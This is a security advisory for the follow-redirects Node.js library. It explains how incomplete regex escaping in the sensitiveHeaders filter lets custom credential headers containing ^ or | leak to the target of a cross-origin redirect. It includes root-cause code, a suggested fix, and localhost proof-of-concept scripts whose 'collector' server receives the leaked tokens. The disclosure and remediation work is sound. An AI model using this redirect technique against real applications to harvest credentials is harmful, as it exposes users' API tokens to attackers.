follow-redirects sensitiveHeaders regex escaping can expose credential headers

Summary

follow-redirects 1.16.0 introduced the sensitiveHeaders option (the fix for CVE-2026-40895 / GHSA-r4q5-vmmm-2653), which lets an application declare extra header names that must be removed when a redirect crosses to a different host or downgrades protocol. The filter is a single case-insensitive regular expression built by concatenating the declared header names into an alternation after passing each through escapeRegex. escapeRegex escapes only a partial set of metacharacters and leaves ^, |, [, {, and } unescaped. Header names may legitimately contain ^ and | (both are valid RFC 9110 token characters that Node accepts and sends), and for a declared name containing either, the generated pattern can never match the intended header. As a result, an application that adopts this option to protect a custom credential header, then follows an attacker-controlled cross-origin redirect, forwards that credential to the attacker with no error or warning, while believing it is protected. The failure is silent: the protection simply does not exist for the affected names. The built-in list (Authorization, Proxy-Authorization, Cookie) contains no metacharacters and is not affected by this defect.

Details

The filter is constructed once, in the RedirectableRequest constructor at index.js:118-120:

this._headerFilter = new RegExp("^(?:" +
    sensitiveHeaders.concat(options.sensitiveHeaders).map(escapeRegex).join("|") +
  ")$", "i");

escapeRegex at index.js:703-705:

function escapeRegex(regex) {
  return regex.replace(/[\]\\/()*+?.$]/g, "\\$&");   // escapes ] \ / ( ) * + ? . $  -- NOT ^ | [ { }
}

The character class escapes ], \, /, (, ), *, +, ?, ., and $. It omits ^, |, [, {, and }. Of these, Node's http.ClientRequest accepts ^ and | in header names (they are valid tchar values under RFC 9110) and rejects [, {, } with ERR_INVALID_HTTP_TOKEN, so ^ and | are the reachable vectors for a silent credential leak. Separately, although [, {, } cannot appear as live header names, declaring a sensitiveHeaders entry that contains one of them injects an unbalanced token into the alternation (for example an unterminated character class), so the filter RegExp throws a SyntaxError in the RedirectableRequest constructor and the request fails to start. That case is a loud request-time crash from the same incomplete-escaping root cause rather than a silent bypass, and the canonical escaper below fixes it as well.

For a declared sensitive header name containing an unescaped metacharacter, the alternation is broken in a fail-open way:

• A name containing ^, for example X-Api^Key, yields the alternative X-Api^Key inside the pattern. The ^ becomes a mid-pattern start-of-string anchor, so the alternative can never match any real header name. test("X-Api^Key") returns false, and the header is not stripped.
• A name containing |, for example X-Token|Secret, is split into two separate alternatives X-Token and Secret. The real header X-Token|Secret is never matched (not stripped), while unrelated headers literally named X-Token or Secret would be stripped instead.

The generated filter source, reproduced from the exact library logic, is:

^(?:Authorization|Proxy-Authorization|Cookie|X-Api^Key|X-Token|Secret|X-Control-Key)$

Direct matching results against this filter: X-Api^Key -> false, X-Token|Secret -> false, X-Control-Key (normal name) -> true, and the split-off X-Token -> true and Secret -> true (collateral wrong-stripping). The built-ins Authorization, Proxy-Authorization, Cookie all -> true.

Secondary, related weakness (filter snapshot not refreshed after beforeRedirect): the filter is built once at construction and applied at index.js:490, which runs before the beforeRedirect(this._options, ...) hook and the subsequent _sanitizeOptions at index.js:494-506. Because the strip happens before the hook and this._headerFilter is never rebuilt, any entry a caller adds to options.sensitiveHeaders inside beforeRedirect is silently ignored. This facet is lower severity: mutating sensitiveHeaders inside beforeRedirect is not a documented usage of the option (the documented path is the request option), so it is best treated as a hardening item bundled with the escaping fix rather than an independent control bypass. It is included here because both issues undermine the same control and share a remediation.

Suggested remediation: two changes close both facets.

1. Escape the complete set of regular-expression metacharacters:

function escapeRegex(str) { return str.replace(/[.*+?^${}()|[\]\\]/g, "\\$&"); }

This was verified to restore correct matching for all affected names while preserving the built-in matches.

2. Build the filter at strip time, or rebuild it after the beforeRedirect hook re-sanitizes options, so entries added inside the hook take effect. For example, replace the cached this._headerFilter with a this._getHeaderFilter() that constructs the RegExp from the current this._options.sensitiveHeaders on each redirect.

Additionally, since header names have a strict grammar, consider validating each entry of options.sensitiveHeaders against the RFC 9110 token character set and throwing an explicit error on invalid names, so misconfiguration fails loudly. Add a unit test asserting that every declared name is actually matched by the generated filter; the current suite only exercises metacharacter-free names (Sensitive-A, x-sensitive-b), which is why the defect passes CI.

References:

• https://github.com/follow-redirects/follow-redirects/security/advisories/GHSA-r4q5-vmmm-2653
• https://github.com/follow-redirects/follow-redirects/pull/284
• https://github.com/follow-redirects/follow-redirects/commit/844c4d302ac963d29bdb5dc1754ec7df3d70d7f9

PoC

Environment: Node.js v24.18.0 on Windows 11. Run each script from a checkout of follow-redirects at 1.16.0 so that require("./index.js") resolves to the library under test.

Facet 1, metacharacter header names, leak.js:

var followRedirects = require("./index.js");
var http = require("http");
var redirector = http.createServer(function (req, res) {
  req.resume();
  res.writeHead(302, { Location: "http://127.0.0.1:45902/" });   // cross-origin (different port)
  res.end();
});
var collector = http.createServer(function (req, res) {
  res.end(JSON.stringify(req.headers));                          // attacker-controlled target
});
redirector.listen(45901, "127.0.0.1", function () {
  collector.listen(45902, "127.0.0.1", function () {
    followRedirects.http.request({
      hostname: "127.0.0.1", port: 45901, path: "/",
      headers: {
        "X-Api^Key":      "SECRET-LEAKED-1",     // declared sensitive, name contains ^
        "X-Token|Secret": "SECRET-LEAKED-2",     // declared sensitive, name contains |
        "X-Control-Key":  "SHOULD-BE-STRIPPED",  // declared sensitive, normal name (control)
        "Authorization":  "Bearer BUILTIN-CTL"   // built-in list (control)
      },
      sensitiveHeaders: ["X-Api^Key", "X-Token|Secret", "X-Control-Key"]
    }, function (res) {
      var body = ""; res.on("data", function (c) { body += c; });
      res.on("end", function () {
        var h = JSON.parse(body);
        console.log("X-Api^Key      :", h["x-api^key"] || "(stripped)");
        console.log("X-Token|Secret :", h["x-token|secret"] || "(stripped)");
        console.log("X-Control-Key  :", h["x-control-key"] || "(stripped - OK)");
        console.log("Authorization  :", h["authorization"] || "(stripped - OK)");
        redirector.close(); collector.close();
      });
    }).end();
  });
});

Observed output (1.16.0):

X-Api^Key      : SECRET-LEAKED-1          <- credential LEAKED to redirect target
X-Token|Secret : SECRET-LEAKED-2          <- credential LEAKED to redirect target
X-Control-Key  : (stripped - OK)          <- control: option works for normal names
Authorization  : (stripped - OK)          <- control: built-in list works

The two controls stripping correctly in the same run prove the strip branch executed and only the metacharacter names defeat the filter.

Root-cause and fix verification (pure regex logic, no network):

var builtin = ["Authorization", "Proxy-Authorization", "Cookie"];
function escCurrent(s) { return s.replace(/[\]\\/()*+?.$]/g, "\\$&"); }         // library's escaper
function escFixed(s)   { return s.replace(/[.*+?^${}()|[\]\\]/g, "\\$&"); }      // canonical escaper
function build(esc, d) { return new RegExp("^(?:" + builtin.concat(d).map(esc).join("|") + ")$", "i"); }
var declared = ["X-Api^Key", "X-Token|Secret", "X-Control-Key"];
var cur = build(escCurrent, declared), fix = build(escFixed, declared);
["X-Api^Key","X-Token|Secret"].forEach(n => console.log("current", n, cur.test(n)));  // both false
["X-Api^Key","X-Token|Secret"].forEach(n => console.log("fixed  ", n, fix.test(n)));  // both true
["X-Token","Secret"].forEach(n => console.log("collateral", n, cur.test(n)));         // both true (wrong)

Observed: current filter returns false for both metacharacter names and true for the unrelated X-Token and Secret; the fixed filter returns true for all declared names and still true for the built-ins.

Reachability of the vectors:

node -e 'var http=require("http");["X-A^B","X-A|B","X-A[B","X-A{B","X-A}B"].forEach(function(n){try{var r=http.request({host:"127.0.0.1",port:1});r.setHeader(n,"v");r.destroy();console.log(n,"ACCEPTED");}catch(e){console.log(n,"REJECTED",e.code);}});'

Observed: X-A^B and X-A|B ACCEPTED; X-A[B, X-A{B, X-A}B REJECTED with ERR_INVALID_HTTP_TOKEN.

Facet 2, entry declared inside beforeRedirect, leak2.js:

var followRedirects = require("./index.js");
var http = require("http");
var redirector = http.createServer(function (req, res) {
  res.writeHead(302, { Location: "http://127.0.0.1:46202/" }); res.end();
});
var collector = http.createServer(function (req, res) { res.end(JSON.stringify(req.headers)); });
redirector.listen(46201, "127.0.0.1", function () {
  collector.listen(46202, "127.0.0.1", function () {
    followRedirects.http.request({
      hostname: "127.0.0.1", port: 46201, path: "/",
      headers: { "X-Late": "LATE-DECLARED-VALUE" },
      beforeRedirect: function (options) { options.sensitiveHeaders.push("X-Late"); }
    }, function (res) {
      var body = ""; res.on("data", function (c) { body += c; }); res.on("end", function () {
        console.log("X-Late forwarded to redirect target:", JSON.parse(body)["x-late"] || "(stripped)");
        redirector.close(); collector.close();
      });
    }).end();
  });
});

Observed output (1.16.0): X-Late forwarded to redirect target: LATE-DECLARED-VALUE (the late-declared name is not stripped).

Impact

This is an information-disclosure vulnerability: silent failure of the sensitiveHeaders cross-origin stripping control for affected header names. Who is impacted: any application, or upstream library, that adopts the sensitiveHeaders option to protect a custom credential-bearing header whose name contains ^ or |, and that follows a redirect controlled or compromised by an attacker. When triggered, the declared header value (typically an API token or other bearer credential) is disclosed to the attacker-controlled destination, silently, while the application believes the header is protected. As with the array-form finding, if the redirect downgrades HTTPS to HTTP, the credential also transits in cleartext. Downstream exposure extends beyond the library: any application or wrapper that adopts the sensitiveHeaders option and declares a metacharacter-bearing header name inherits the same silent bypass. axios delegates redirect handling to follow-redirects (see GHSA-r4q5-vmmm-2653), so axios-based stacks are affected wherever this option reaches the library. The built-in protected headers are unaffected.